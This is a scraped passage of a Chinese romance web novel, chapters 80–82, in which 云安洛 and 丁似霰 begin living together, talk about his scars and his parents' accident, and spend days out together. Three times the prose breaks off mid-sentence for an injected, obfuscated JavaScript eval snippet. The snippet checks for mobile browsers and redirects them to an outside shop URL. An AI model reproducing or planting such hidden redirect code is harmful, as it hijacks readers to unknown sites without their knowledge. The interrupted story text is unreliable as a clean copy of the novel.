云安洛悄悄走过去,从身后抱住丁似霰的腰。 “小心点,别烫到手。”丁似霰立刻把盛汤的盆挪得远了些。 “做得这么快吗?”云安洛自觉洗澡的时间不过十五分钟,他是怎么这么快就把汤炖好的? “早上做好的,再热一下就可以吃了,”丁似霰笑着拍了下云安洛的手,“去饭桌坐好吧,马上就能吃饭了。” “那我去盛饭!”云安洛笑嘻嘻从架子中拿出碗筷。 这一切,太温馨了,温馨到有一种不真实感。 云安洛突然有些理解丁似霰的患得患失。 吃过饭后,云安洛就被丁似霰带回卧室吹头发。 他说云安洛的手上的伤口会被发丝勾住,所以他来吹。 丁似霰不说还好,这么一提醒云安洛才看到手上那道口子竟然肿了起来。 丁似霰拿着沾了碘伏的棉签轻轻擦着云安洛的伤口,小心翼翼的样子倒像是个多严重的伤一样。 “你这到底是怎么弄的?”丁似霰怎么也想不明白,小拇指侧面这个位置,怎么能豁开将近两厘米的伤口,况且还这么整齐? “嗯……”云安洛回忆了一下,“就是眼睛瞎,然后劲还大,推门的时候黑灯瞎火的摸错地方了,推得偏了点,但是硬把门推开了。” 丁似霰心疼地拖着云安洛的手,对伤口吹着凉气。 她这伤口其实并不深,只是因为云安洛确实懒得消毒,随便冲一冲,只要看着血肉是干净的就不管不顾了。并且因为过于嫌弃那个外卖员和乔家老太太住的病房,暴力洗手的次数有点多,才造成如今红肿得有些严重。 云安洛抽回手,多少有些不适应这种细致又贴心的照顾,“哎呀,明天就好了,多大点个小口子。” 直到云安洛的头发全部吹干,并且被丁似霰很温柔的用气垫梳子梳顺,这个阴晴不定的男人都没有再说话。 云安洛转过身,两只胳膊搭在丁似霰肩上,直勾勾的、毫不掩饰地看着丁似霰。 “怎……怎么了?”丁似霰被她看得有些发毛。 “欣赏一下我男朋友生闷气的样子呀,怎么啥时候都这么帅呢?” 在云安洛这里,丁似霰向来并不禁夸,她只要随便逗一逗,小伙子就会原形毕露。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908972|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我……”丁似霰有些尴尬地笑着,“我生什么闷气啊?” “那你怎么这么久不说话?”云安洛揪着丁似霰的衣领,把他压倒在床上,斜倚着床头的靠枕。 咦,无师自通的强制爱吗,有点意思,怪不得杨可期成天喜欢看那些东西。 丁似霰伸出胳膊,搂住云安洛:“病号没力气对抗吹风机的分贝。” “唔……”云安洛把手贴在丁似霰胸膛,“你当年是不是落下毛病了?” “也,不算吧。” “吧?那就是有咯。” “就是感冒或者咳嗽的时候会感觉肺有点疼,平时倒是没什么,医院也没查出来有什么问题,所以应该也不算。” “我这么重要啊?” “当然。” 这个难得的晴天,阳光照进卧室,好像给寒冬带来几分暖意。 丁似霰带着浅浅的慵懒的笑意,看向云安洛。 就像她第一次见到他一样,只是棱角分明了太多。 “你喜欢我什么呢?” “喜欢需要原因吗?”丁似霰也说不清,但是当年第一眼看到她的时候,就很想和她有一些牵绊,“如果有的话,大概算一见钟情。” “可我实在算不上什么好人。” 他伸出手,揉了揉她的头,“你是这世上顶顶好的人,各个层面上的,上学的时候我就在想,能和洛洛这样的女孩当朋友该有多幸运。 我一直感觉很庆幸,多亏你愿意给我机会,成为你的‘自己人’。” “那归根结底,要感谢你的不懈努力,在我眼前晃来晃去,破门而入闯进我的世界。” 云安洛深吸了一口气,这才和丁似霰说了她所得到的所有信息。 “所以……”云安洛不知道这话该怎样说下去。 “所以我爸妈的事故,大概率不涉及这些事情,并且因为没有证据,甚至连责任认定都不会变,”丁似霰抢先说了起来,“我早就知道。” 云安洛难以置信地抬起头,看向丁似霰:“那,这些年,你在做什么?” 云安洛休学那半年,丁似霰去过祁利实习。 孟杰礼说他查到别墅甚至还多亏了丁似霰。 他又配合孟杰礼,抓了臧樾卓。 她以为他们有共同的目标,没想到却是只有她看得到一点点微乎其微的希望。 那丁似霰呢?他做这一切是为了什么? “或许这个时候我说为了你,可以得点好感度?但确实有点丧良心。毕竟我也是在查到别墅后才知道,祁利的水可能深到了我想象不到的地步。 而我爸妈当年大概率只是因为天气原因,路况不太好,和祁利超载的运货车撞了。但是如果主责在他们,后续赔偿问题会很麻烦,所以他们才会直接把行车记录仪毁了,栽赃到我爸妈头上。 所以就算他们的事情被挖出来,与我而言关系也不大。” 丁似霰说起这些的时候,倒是格外冷静,他看起来像是已经接受了这个注定的结局。 毕竟,确实不是每件事,都能找到它自己的真相。 “你一直都知道很危险,还要搅进来?” “我记得你说过,你想把黑夜点亮。” “可是看不到光的只有我……为什么要陪我走这没有亮的路?” “胡说,这么大个光哥在你旁边,你怎么看不到亮了?” 云安洛对于丁似霰这破坏气氛的言语多少有些无奈,“你又不是秃瓢,不能反光。” “你想做什么我都愿意和你一起。 你说想把黑夜点亮,那我就在底下托着你,陪你去摸一摸这人间的月亮。” 男人说这话时,眼睛依旧亮亮的,温柔且坚定。 此时的他,与当年在路灯下抱着她旋转的少年竟无丝毫变化。 原来这些年,洛洛和小光真的从未走散。 云安洛想,无论结果如何,至少现在,她已经得到了自己的月亮,至少这么多年,那月光一直照在她身上。 这不知道还有多长的暗夜,她从来不是孤身一人。 81. 同居 云安洛和丁似霰的同居生活彻底开始了。 去搬空丁似霰家里的用品时,云安洛还发现了很多有趣的东西。 云安洛对着丁似霰床头摆着的亚克力盒子,十分不解:“这玩意是香囊,你还是一直封进塑料壳子里还能有什么用?” “珍藏,精神扩散。” 得,当初告诉他喜欢的话可以再给他做这种话就是白说。 云安洛敢打赌,她做的香囊里,这个是被保护得最得当的。 云安洛又看见了那条她一时兴起织的围巾:“围巾呢?包装都不拆就放柜子里?” “拆过,想你的时候会打开,但我怕弄脏了。” 云安洛把包装袋撕开一个小角,闻到了一股熟悉的,很淡的玫瑰花香——那是她当初买的柔顺剂的味道:“合着就一回都没洗过呗?” “洗了就,没有你的味道了……” “我啥味?石楠花啊?” 丁似霰耍赖般抱住云安洛,把头埋在她颈间深吸了一口气,“一种很特殊的香味,一直都有。” “大哥,这么多年我换了不知道多少洗头膏和洗衣液了,”云安洛一直不太懂这点,也就是所谓的,体香。 其实杨可期也说过,但云安洛自己,就是闻不到,她只能闻出来那几款比较常见的洗护用品的香氛气味。 嗯,可能狗鼻子更灵一些。 “喜欢我就再给你织新的,这么放着多白瞎,”云安洛随手把围巾放进行李箱里,并没有继续纠结这个关于香味的话题。她又瞥见了丁似霰床上的丁小胆:“毛绒玩具被你蹂躏了这么多年棉花竟然没塌?” “隔一段时间就把外皮洗一次,我给它装了拉链,每年重新充一次棉。 而且他有名字,叫丁小胆。” 老天爷,这玩具狗在流水线里被飞针缝合的时候一定没想过它会得到这种优厚待遇。 还有厨房里花里胡哨的那堆瓷器,那是云安洛当初为了哄丁似霰,特意飞去景德镇学了好久,做了一堆各式各样的餐具,邮给他让他拆盲盒。 一吃东西胃更难受,不想吃饭也正常,但是讨厌鬼不想自己互联网那层羊皮被拔下来,云安洛又多少有点心疼,那能怎么办?变着花样哄着呗。 连收货地址都是隔壁芳榆市,但至今为止云安洛也没问过他到底邮去了谁手里再转过来,也不嫌费劲? 那张丁似霰打球的背影画、梨膏糖里夹带的手绘小卡片、卷得立立正正的领带,甚至还有云安洛给他写的解题思路……该说不说,云安洛看到这些东西的时候还是会感叹,她手真的很巧,当初学习的时候理科思维也真的很强。 云安洛看得感觉有点头大,丁似霰是有什么收集癖吗?那些东西基本都是她一时兴起或是随手一弄,况且她明明都会做一些有用的东西,怎么到了丁似霰这里,实用性一扫而空,全变成收藏价值了。 丁似霰并没有阻挠云安洛的任何探索行为,直到她拎起一个带密码的本子…… 丁似霰一把抢了过来,“这,这……这个,就别看了!” 密码锁本子,好古早的记忆,只不过云安洛从来没见过这么厚的。 云安洛向来没有窥探别人隐私的兴趣,她似乎也天生少了点好奇心,“这么着急干啥,不看就不看呗。” 嗯,还有好多照片,为了不褪色,都被丁似霰用塑封膜封了起来。 云安洛甚至感觉自从认识她以后,丁似霰同学的非商用相纸里含洛量至少百分之八十以上。 “你拍立得还能用吗?”云安洛捏着手中的合照,问道:“再拍一张?” 丁似霰看了看她,而后点点头:“我去拿。” 丁似霰确实是个很细心的人,至少他的各种物品保存的都要比云安洛精细,那拍立得只有淡淡的使用痕迹,完全看不出来是个将近二十年的老伙计。 “喜欢哪款?”丁似霰递给云安洛一大摞花花绿绿的相纸,笑得有些腼腆:“这些年看到好看的相纸就想留一张,有一些都已经停产了。” “留着等我?” “嗯。” 云安洛一瞬间感觉眼睛有点发酸,她接过相纸,吸了吸鼻子,把这股酸楚压了下去,专心地挑着相纸。 她还是选了最原始的:“还是白边的吧,剩下的以后慢慢拍。” “好,”丁似霰笑着收起相纸,而后坐在云安洛身旁,忽然有些不知道该做出什么动作。 高中时那些照片多数都是丁似霰拍的云安洛,或者是别人帮忙拍的四个人的合照,仅仅是他们两个人的大头照并不多。 世博园的树屋上一张,两个人中间隔着鱿鱼和饮料,身后是成片的郁金香花海;高二艺术节一张,是丁似霰在给洛洛编麻花辫,虽然后来这个发型并没有登台,但确实丁似霰手法不错;高三运动会白衣红裙一张,两个人挽着胳膊,站得板板正正。 还真是很青涩的回忆。 “想不想,拍点有趣的?”云安洛偏过头看向丁似霰,脸上挂着压不住的笑意。 “有……趣?”丁似霰虽并未想到云安洛想做什么,却还是老老实实把脸凑了过去。 然后,还未等丁似霰反应过来,云安洛就微微仰起头,吻上了他的唇。 拍立得的闪光灯很合时宜地亮了一下,而后相机发出了独属于它的沙沙声,一张照片缓缓被相机吐了出来。 云安洛飞快转过头,接住照片,很是期待地等待成像。 丁似霰却愣在原位,悄悄舔了舔嘴唇。 她涂了唇膏,葡萄味的,有点甜。 云安洛看看新照片,再看看老照片,又捧着丁似霰的脸近距离观察一番后,有些惆怅地靠在他怀里,轻轻叹了口气:“丁似霰,你怎么都有褶了啊……” “我都二十八了,”丁似霰揽着云安洛的肩头,垂眸和她一起看着手里的四张照片:“笑起来眼角有点褶子,很正常。” 云安洛并没有说话,只是静静地看着照片。 十年。 他们竟然真的硬生生分别了将近十年的时间。 她的眼眶红了一整圈。 丁似霰低下头,亲了亲云安洛的眼角:“放心,再过几十年我也是个帅老头。” 云安洛忽然侧过身,紧紧抱住丁似霰:“我们以后都好好的,再也不分开了好不好……” 丁似霰一下一下,轻柔的抚着云安洛的头发:“好啊,那我以后就每天都粘着你,我们再也不分开了。” 丁似霰需要带走的东西并不多,很快便整理好了。 离开这间屋子的时候云安洛还在感叹:“早知道你这么好拐走,我怎么就不早点下手呢?” 其实云安洛租的房子有两间卧室,她特意让杨可期帮她选的两间阳面卧室。 自己一个人独习惯了,如果没什么事的话,云安洛并不习惯和别人在一个床上睡觉,哪怕盖两床被子。 至少云安洛以为,她只是单纯想把丁似霰放在眼前,看着就赏心悦目。平淡的日子过久了,云安洛几乎已经忘记她当初上学时候说的那个理想——做个俗人,贪财好色。 贪财她确实不太贪,对于物欲不强并且已经比较有财力的小富婆而言,她已经不用再把其当成一份追求。 至于好色…… 仅仅过了三天,云安洛就把丁似霰推倒在了她的床上。 丁先生确实,比较易推倒。 云安洛的头发很长,但她其实并不太喜欢吹头发这项工作,既然丁似霰主动要帮她吹,那当然得让丁先生梦想成真。 吹干头发后,丁似霰又握着云安洛的手,看着那道已经结痂的伤口。 也不算结痂了,刚才在浴室云安洛看着泡软了的血痂闹心,直接擦了去,如今只剩下了一条深粉色的痕迹。 云安洛抽回手,眯着眼认真看了看,“到底有什么可看的?” “还疼吗?” 疼?如果不是丁似霰反复提醒,云安洛根本记不大清这个小口子。 不过……确实,丁似霰似乎对于云安洛身上每一道疤的重视程度,都高于云安洛自己。 云安洛摇摇头,却对上了丁似霰有些发红的眼眸。 什么表情这是? “我……最近,没欺负你吧?”云安洛快速回顾了近几天她的行为,好像真没什么可检讨的。 “当然没有。”丁似霰又好像瞬间换了一种情绪,在云安洛头上揉了一把……这样看起来很像狮子狗。 毁了,真想欺负他。 云安洛当然是想做就做,下一秒就把丁似霰压在床上,“今天晚上跟我一起睡?” 丁似霰再也掩盖不住慌乱,他甚至不知道眼睛该聚焦在何处,“不……不了吧……那个,我爸说,他,他跟我妈也是,领了证之后……” “想什么呢,盖被纯聊天。”云安洛翻了个身,单手撑着头,躺在丁似霰身旁。 “聊……什么?”丁似霰规规矩矩靠在靠枕上,一动不敢动。 因为云安洛,正在解丁似霰睡衣前襟的纽扣! 这不对吧……这也不是纯聊天啊?? 那天,给他换衣服,云安洛不止看到了他上腹的青紫。 丁似霰身上有好几道疤,云安洛怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908973|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也想不明白,他一个土木老哥,兼职摄影,怎么会有这些伤? 云安洛用指尖轻轻划过丁似霰腰上那一圈疤痕,又向上摸到了阑尾处的三个小眼,原来这个是微创的疤。胸膛和肩上都有几道,还有一处看起来和云安洛锁骨下的烟头烫伤相似,根据云安洛为数不多的经验来看,那些都不可能是在工地上的摩擦导致。 “聊聊你身上这些伤是怎么来的?” 丁似霰并不想回答这个问题,只随意说了一句:“小时候闹得太狠了,记不清都是怎么划的。” 他这话说的,毫无信服力。 高二那年暑假他们四个去过奉州的水上乐园,云安洛清晰的记得,那个时候的丁似霰,身上光滑得很,根本没有这些疤。 当然,不可否认,那个时候云安洛就……有点馋丁似霰的身子…… “你对我的疤那么在乎,但又不和我说实话,”云安洛倒是也没打算让丁似霰这么快交底,她总是感觉从丁国辉和余美兰出事后,丁似霰变了许多。 当然,云安洛也变了,但和丁似霰不一样。云安洛只是更加懒得处理那些冠冕堂皇的人际关系,很多时候颇有一种死活都无所谓的感觉。 丁似霰不太爱说话了,他再也没提过余美兰那边的亲戚,他似乎比从前更敏感,以前还知道撒个娇喊疼,现在只想粉饰太平疯狂道歉。 丁似霰醋性一直很大,但现在云安洛真的感觉就算是她真的和别人有了什么,他也会表面上满心祝福,再晚上自己一个人躲在角落抱着丁小胆偷偷掉眼泪。 可到底为什么,云安洛不清楚。 她加重了些力道,细细描摹着丁似霰的肌肉轮廓,“这不太公平。” “痒,洛洛……”丁似霰绷紧了身子,却也不敢抓住云安洛的手。 她在用左手对丁似霰上下其手。虽然云安洛这只左手并没有太大问题,但丁似霰并不清楚她的度在哪里,甚至不敢抓住云安洛的手腕。 “一,二,三,四,五,六,”云安洛数着丁似霰的腹肌,“六块,不算太明显,但还挺好看的。” “瘦,瘦出来的,不好看……” “哦,”云安洛抬起手,合上了丁似霰的睡衣,“那我去摸摸别人的?” “不要!”丁似霰当然知道云安洛在开玩笑,但还是莫名其妙感觉眼睛有些酸。他立刻拉开衬衫,牵着云安洛的手,放在腹部,“摸我。” 房间里开了空调,丁似霰这样敞开着衣服虽谈不上暖和,但至少也不太冷。 云安洛指尖划过的每一寸皮肤,都很烫。 她是故意的,这算是,丁似霰不说实话的惩罚。 云安洛的指尖逐渐上移,最终划过喉结,轻轻抬起丁似霰的下巴。 然后,俯下身,咬在他的喉结上。 喉结无疑是敏感的,哪怕云安洛咬得不重。 “唔……”丁似霰整个人崩得更紧,慌乱中伸出手,紧紧抱住云安洛。 云安洛的恶作剧得逞,十分满足地抬起头,在丁似霰嘴唇上啄了一下:“研究明白了吗?” “研究,什……什么?” “怎么亲嘴,亲个荤点的。”云安洛说得很坦然,坦然到那语气像是说“明天天气怎么样”。 丁似霰艰难地咽了口唾液,并不知道该怎么回答。 这东西,不实践很难研究吧? 坦白讲,云安洛也有点紧张,一定只有一点! 但她似乎更享受这种把丁似霰逗到小脸通红的样子。 当然,云安洛能这么嚣张的前提,都是因为她确定以及肯定,丁似霰绝对是个正人君子,不可能做出任何云安洛不愿的事情。 也就是说,云安洛才是主导者。 “这,怎么研究?”丁似霰问道。 云安洛跨坐在丁似霰身上,随手从床头拿了一根大肠发圈套住丁似霰两只手腕,再将其举过头顶…… “是……玩什么?”丁似霰很紧张,他也不清楚云安洛要做什么。 那大肠发圈松的要死,完全只有一个装饰的作用。 “实践出真知。”云安洛说完,便俯身吻上了丁似霰的唇。 两个毫无经验的菜鸟,在凭借人类本能唇齿相接,倒也别有一番趣味。 “丁似霰你怎么咬我!”云安洛微微坐起身,舔了舔泛着血丝的嘴唇。 “冤枉……”刚才明明是云安洛上了头,一用力把自己的嘴唇磕在了丁似霰的尖牙上。 云安洛这才发现,丁似霰的喘息似乎有些剧烈,“你,不会换气啊?” “……你又好到哪去了?” 82. 云大胆 很显然,云安洛也不会换气,只是她身体健康,肺活量比较好。 不过那种绑手的戏码,也没什么意思,云安洛只觉得胳膊举得有些酸。她放下丁似霰的双手,有点后悔地捏了捏他的肩膀。 “你要不要主动点?”云安洛伏在丁似霰胸前,两个人的距离只能用厘米来计算。 “可以吗?” 云安洛眨眨眼,“这时候就不用那么客气了吧……” 未等云安洛话音落下,丁似霰便偏过头,亲在了云安洛的耳垂。 一个很刁钻的位置。 都说喷香水可以涂在耳后,但没人告诉她两人亲密的时候还能亲耳垂啊! 云安洛的耳垂很标致,薄厚适中,也没有打耳眼。 她也是现在才发现,亲这里好像……也蛮刺激的。 男人,真的无师自通是吧? 接下来这个吻虽然依旧并不熟练,但更重、更长了些。 云安洛报复性咬了一下丁似霰的下唇,而后抬起头,“你是不是跟谁练过?” “……更冤枉了,你还不如说我咬你。” 最后这场挑逗,以丁似霰落荒而逃跑去冲澡落幕。 丁似霰慌乱地在卫生间门槛处绊了一下时,云安洛还在卧室喊着:“不许洗冷水澡!” 本来是今天发现丁某人的药瓶子又空了不少,才意识到这人半夜仍旧会胃疼,所以云安洛才想着把他抓来眼皮子底下抱着。 没想到,玩大了。 定力这方面,云安洛高估了自己,也低估了丁似霰。 看来明天去超市得备点东西。 丁似霰再次回到床上时,身上还带着洗发水的味道,柠檬玫瑰,云安洛买的。 云安洛拿起吹风机,像给小狗吹毛一样揉着丁似霰的短发。 吹风机的嗡鸣声中,传来了丁似霰的声音,“不是不喜欢吹头发吗?” “你头发短,还在我耐心范围内,”云安洛关闭了吹风机,用梳子随意梳了几下丁似霰的头发,“想来还是你亏,你这头发几分钟吹干了,我的得半个多小时。” 两个人关了灯,各自躺在各自的被里。 云安洛一翻身,钻进了丁似霰的被窝,伸出手搭在丁似霰上腹。 “洛洛,别闹了……”有些人不想一个晚上去洗第三次澡。 “不闹,睡觉了。”云安洛确实没有乱动。 她手心一直暖暖的,无论是搭在丁似霰上腹还是握着丁似霰的手又或者抚着丁似霰的脸侧,他都很难抵得住诱惑。 而此刻,丁似霰也明白了云安洛想做什么。 “你……发现了?” “嗯,发现某些人半夜胃疼还一声不吭。”云安洛的声音在他耳边响起,丁似霰只觉得耳侧酥酥麻麻的。 丁似霰下意识想说,也没有很疼,脱口而出却变成了,“确实挺疼的。” “你怎么不叫我?不知道的还以为俩屋隔的不是一堵墙,是个结界。” “太晚了,我以为你都睡了……况且你不是不习惯和别人住一个床吗……” “那习惯还能二十一天养成一个新的呢,二十一天我能养出来一个健健康康的小光吗?” “……有点难。”丁似霰把手覆在云安洛手上,有些不安地摩挲着,“你要是哪天感觉我太粘人了……” “哪天我烦了我就立刻把你踹床底下去,”云安洛又在丁似霰喉结处轻轻亲了一下,“但很显然丁先生,我现在还是对于养成一个新习惯的兴趣更大一点。” 又过了许久,丁似霰突然开口说道:“洛洛,你一点都不好奇密码本里写了什么吗?” “没有很好奇吧,无非就是想我了呗,写点肉麻的话结果现在不好意思让我看。” 丁似霰微微侧过身,与云安洛抱得更紧了些:“我一直都知道,我爸妈很爱我。但……说实话,没有我的话可能他们也不用那么累,养大一个先天不足体弱多病的孩子,远比一个健康的要难好多。 小时候还偷听到亲戚说我妈,嫁得好生儿子又有什么用,还不是得紧巴巴过日子。” 他这话说得让人感觉,云安洛并不能支持,但确实也无从下手去安慰,毕竟吧,是有几分道理的事实,结婚和生孩子就像两场豪赌,结婚证筛不掉人渣,产检也查不出先天体弱但没有实质什么病的孩子。 她只得轻轻抚着丁似霰的背,却并没有说什么。 “本子里是这些年你和我的聊天记录,我……我怕手机坏掉或者数据丢了之类的事,就给印了出来。我真的很想你,但我又,又一直是个很麻烦的人。我还很想一直粘着你,又怕你烦,怕耽误你的正经事。” 丁似霰自懂事起,就清楚地知道余美兰和丁国辉用了全力爱他,所以一旦他有任何不舒服,他们才会那样认真又频繁地带他去医院看病。 可丁似霰会有一种负罪感,他总是认为是因为他才给父母带来了麻烦。他少表现出来一分不适,父母就能多轻松一些。 就连最后出事,也是因为他们惦记着回新柳陪丁似霰高考。 如果他可以自己一个人呢?如果他们当初没有回来陪丁似霰呢?是不是,就不会发生后来那么多事情了…… “傻小光,你也是我的正经事啊!而且我很喜欢你粘着我的。” “洛洛,再给我点时间好吗,等我准备好了,就把那些事情都说给你听。” 云安洛明白,他说的是那些伤,从身体到心理的所有。 “好呀,等你想讲的时候,我再听。 其实你说不说不重要,我只是希望你心思别总那么重,不要什么都憋心里,我又不一定能发现。 忧思太多容易长更多白头发哦~” “那算提前共白头吗?” “别咒我,我不想长白头发!” 丁似霰把头在云安洛发间蹭了蹭,整个人侧过身,抱得更紧了些。这姿势云安洛没法再把手放在他上腹,只好抽出来,搭在丁似霰腰间。 “没事,现在不疼。”丁似霰说道。 丁似霰是笑着的,但云安洛又看到他眼眶泛了红。 怎么办?小光变成小哭包了。 与电热毯不同,云安洛是三十六度八恒温小暖炉,抱起来舒服很多。 但很遗憾,小暖炉会动,那自然不会一直很老实。 搭在丁似霰腰间的手,略使些力,掐了一把。 “啊!”丁似霰整个人一激灵,从弯曲舒展状态一下子绷直,迅速压住云安洛正在作恶的手。 但仅仅是压住,云安洛的手还在丁似霰腰间,并且因为丁似霰也没用力,所以她活动范围并不受限。 云安洛又动了动手指,不轻不重地摁着丁似霰腰间为数不多的肉。 “唔!”丁似霰说着,却没有躲开,“痒……” “哈哈哈哈哈,你怎么像大帅诗里的□□一样?”云安洛笑吟吟看着丁似霰。 “嗯?”话题过于跳跃,丁似霰一时没反应过来云安洛在说些什么。 “一戳一蹦跶哈哈哈哈哈哈哈哈哈!” 云安洛说着,又掐了一把。 丁似霰看准时机在云安洛锁骨上咬了一口,留下了一点点牙印。 “不讲武德,你动嘴!” 云安洛开始大肆挖掘丁似霰身上的痒痒肉。 丁似霰直接放弃挣扎,双手都环抱着云安洛,任由云安洛为非作歹,只不过受害人笑得又苦涩又开心。 到最后,丁似霰笑得带出了些哭腔求饶:“哎!这不行不行不行!太痒了!” 求饶无效。 下一秒,丁似霰捂着腰,有些哭笑不得:“抽筋了……” 这次有效。 云安洛不再胡闹,安安分分揉着丁似霰的腰。 他太瘦了真的,这腰揉起来都硌手。 “嘶……”丁似霰忍不住倒吸了一口凉气。 无论哪里抽筋,都挺疼的。 丁似霰依旧环抱着云安洛,脸贴在云安洛额头,紊乱的呼吸逐渐平稳。 “晚安,洛洛。” “晚安,小□□。” “我怎么一天一个新名字?” “百变小光是这样的。” 明明是丁似霰在抱着云安洛,偏有一种他鸵鸟依人的感觉。 上了一大天班又闹了许久,激素的作用褪去后,困意逐渐上涌。云安洛轻轻拍着丁似霰,遂慢慢也把自己哄入梦乡。 如果生活是这样的,那确实也挺让人向往。 …… 十一月初六,云安洛和丁似霰撬了半天班,整个下午都在中心商场附近的那栋手作楼里面。 先去打了一对菩提戒指,又捏了两只杯子,最后去做了一个奶油蛋糕,介于丁似霰不能吃太多甜食,云安洛又不爱吃奶油,只做了一块四寸小蛋糕意思一下。 “大二的时候,在我上课路上发传单的熊是你吧?”云安洛用蓝紫色的奶油在蛋糕上点着绣球花的花瓣,“还真没见过哪头熊发传单还带着花的。” “你认出我了?”丁似霰还在反复看着手上那只菩提戒指,颇有一种今天一个晚上就想把它盘抛光的架势。 丁先生的收藏盒里又要填东西了。 不行,这个得带着,这个不能收藏。 “嗯……上课时神游,突然反应过来的,不然我下课一般从另一条路走。” “多亏神游,不然我真就发传单赚的钱和路费收支平衡了。 但我怎么没看到你去上课?” “可能因为我戴着口罩还有帽子吧。”那个时候的云安洛,穿得像黑无常。 云安洛放下裱花袋,把转盘转向丁似霰,“是不是有一种情景再现的感觉?” 蛋糕上,一只棕色的小熊抱着一株绣球花,小熊的头上,还戴着生日王冠。 “你要是开个烘焙店,生意也一定很好。”丁似霰看着蛋糕,由衷地说道:“你就负责画花样就足够吸引人了。” “我还真有这个想法,但是可能得过两年,”云安洛把蛋糕交给店主打包,“等杨可期有时间的,我俩准备研究一下做点养生的甜品,味道就用中药来调。” “类似于热饮铺子?” 云安洛点点头,“但我准备纯投资,专业的事还是交给可期做吧。 不过说起来我有这个想法还是因为你。” “我?” “对啊,像你这种肠胃不太好又喜欢吃甜品的人,属实有点可怜。我才想着说,去研究一下,怎么可以让我们家小光什么时候都可以吃想吃的东西。” 丁似霰听到云安洛这话,竟然瞬间红了眼眶。 云安洛伸出手揉了揉丁似霰的脸:“这就感动啦?” 大概是因为在店里,周围还有太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908974|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多人,丁似霰只是紧紧搂着云安洛,有些腼腆地“嗯”了一声。 这人是薛定谔的脸皮,时薄时厚。 云安洛踮起脚,轻轻在他唇上点了一下:“那就,以身相许吧。” 那一晚,两个人带着戒指,切了蛋糕,度过了他们共同的生日。 冬至日,云安洛又拉着丁似霰去了游乐场。 那游乐场云安洛上大学的时候就在,但她平时上课,杨可期周末实验,一直也没有机会去玩。没想到这么多年过去,竟然还在,并且扩建了。 云安洛的喜好依旧没变,迪斯科大转盘、旋转飞椅、碰碰车……以及鬼屋。 介于天气太冷,激流勇进就算了。 而后两个人又跑去抓了娃娃,新开的抓娃娃店保夹次数设置确实比较低。 丁似霰抱着娃娃跟在云安洛身旁在店里乱窜的时候,店主还好心地叫住他,给他拿了个大袋子装娃娃。 就这一会,云安洛再现一爪两只的奇迹,抓到了两只奇丑无比的邪恶土豆。 兑换,这个必须兑换,太丑了! 最后十二只小娃娃换成了一条穿裙子的小白狗,云安洛美鸣其曰:“这是给丁小胆找的媳妇。” “叫什么?” “云大胆。” 玩得有些累了后,云安洛抱着云大胆,坐在椅子上等着丁似霰去买饮料。 丁似霰买好饮料,一转身就看到云安洛在望着那个“儿童过山车”发呆。 “一会去玩一下这个?”丁似霰把橙汁递给云安洛。 “不不不,我就是看看。”云安洛赶紧拒绝。 那是一个很小型的过山车,需要家长在旁边骑单车做动力,小车才会运行。 除了被杨可期抓上去那次,云安洛一直不敢再坐过山车,但过了这么多年,她对于过山车也是有些好奇的。 丁似霰拉起云安洛的手,“走吧,我想骑单车了。” 云安洛坐在椅子上岿然不动,“都是小孩玩的,我不去。” “哎呀走吧,哪个字写了只能小孩玩?”丁似霰拉着云安洛走到了过山车售票处,指着游玩规则道,“看到没,仅限55kg以下,又没说只能是小孩,你早上量的体重还只有九十几呢!” “49.95也算九十多斤吗?” 两个大人,站在排队的队列里,颇有一些格格不入。 “姐姐,你也是不敢玩其他的过山车嘛?”身后的小女孩忽然奶声奶气的问到。 云安洛挠挠头,“我……” “是哥哥想骑车,姐姐去陪哥哥玩。”丁似霰转过头。 “姐姐对哥哥真好!” 云安洛把头埋在丁似霰肩膀上,咬着后槽牙,“好羞耻啊……” “是啊,姐姐对哥哥特别好!”丁似霰乐呵呵地拍了拍小女孩的头,这孩子说话,怪好听的。 或许是因为那天是工作日吧,游乐场人并不多,他们只排了十几分钟的队。 云安洛坐上那个小过山车的时候,像做贼的一样,紧紧抓着扶手,低着头。 “洛洛抬头看镜头!我可找人照相啦!”丁似霰坐在单车上对着云安洛喊,“我要开始骑咯!” 云安洛一手捂着脸,震惊的看着丁似霰。找人照相!这种照片怎么还留…… 后来照片上留下的那一幕,男人满脸笑容卖力骑着单车,女人一手捂着嘴一手扶着扶手,露出来的一双眼睛中也是藏不住的笑意。 “要不要再排一次?”丁似霰搂着云安洛,从出口走出去。 “走走走,快走!”云安洛揪起丁似霰的袖子小碎步逃离了“儿童过山车”。 游乐场离家里只有十站地铁,两个人就没开车,吃过晚饭后,依旧地铁回程。 七八点钟的地铁不算太拥挤,他们还找到了一个靠边的位置坐了下来。云安洛靠在丁似霰肩头,浅浅打着瞌睡。 